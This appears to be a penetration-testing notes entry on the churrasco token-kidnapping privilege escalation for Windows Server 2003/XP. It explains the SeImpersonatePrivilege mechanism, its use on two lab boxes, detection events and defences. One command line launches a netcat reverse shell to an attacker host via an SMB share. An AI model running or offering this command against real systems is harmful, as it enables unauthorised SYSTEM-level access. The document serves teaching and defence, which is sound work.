churrasco (token kidnapping)

churrasco is a classic exploit that escalates to NT AUTHORITY\SYSTEM on Windows Server 2003 / XP by abusing SeImpersonatePrivilege through the token kidnapping technique described by Cesar Cerrudo (MS09-012).

The privilege it abuses. SeImpersonatePrivilege lets a process impersonate the identity of a client that has connected to it. Service accounts (IIS, SQL...) hold it to do their job. The token kidnapping idea: force a process running as SYSTEM to authenticate against a channel the attacker controls, steal its impersonation token and create a new process with it. That process inherits SYSTEM's identity.

Why churrasco and not JuicyPotato. The Potato family (JuicyPotato and derivatives) exploits the same privilege, but relies on CLSIDs and a COM/DCOM service that only exists on Windows Server 2008 and later. On older versions (2003/XP) those components aren't there, so JuicyPotato doesn't apply. churrasco is the equivalent tool for that generation: same goal, mechanism adapted to the old system.

Typical usage. churrasco runs a command as SYSTEM. A common pattern on boxes with no direct path is to make nc.exe reachable over SMB and ask it to launch a reverse shell:

.\churrasco.exe "\\<lhost>\smbFolder\nc.exe -e cmd <lhost> <lport>"

(On such old systems, smbserver.py is started without smb2support, and you sometimes have to retry because the machine responds slowly.)

Where it fits. It was the final escalation of both Grandpa and Granny: two boxes that enter via different paths on the same IIS 6.0 (the version BOF and the PUT/MOVE bypass respectively), but that share the operating system (Windows Server 2003) and therefore the same churrasco escalation.

Conceptual relation. It's the "ancestor" of the SeImpersonate/Potato abuses: same root (token impersonation), different implementation depending on the Windows version.

How to detect it. The signature is a service account (IIS's w3wp.exe/inetinfo.exe, or SQL) suddenly spawning cmd.exe/nc.exe as SYSTEM: a 4688 (or Sysmon Event ID 1) with churrasco.exe as the process, or a child with an integrity jump to System and the web process as parent. Fetching nc.exe over SMB leaves a 4624 LogonType 3 and 445 traffic to the attacker's IP. On such old systems logging is sparse, so the "web service -> SYSTEM shell" lineage and outbound SMB access are the most reliable signals.

Defence. Patch (MS09-012) and, really, retire Windows Server 2003: it's out of support. Reduce the use of SeImpersonatePrivilege on service accounts and isolate legacy systems.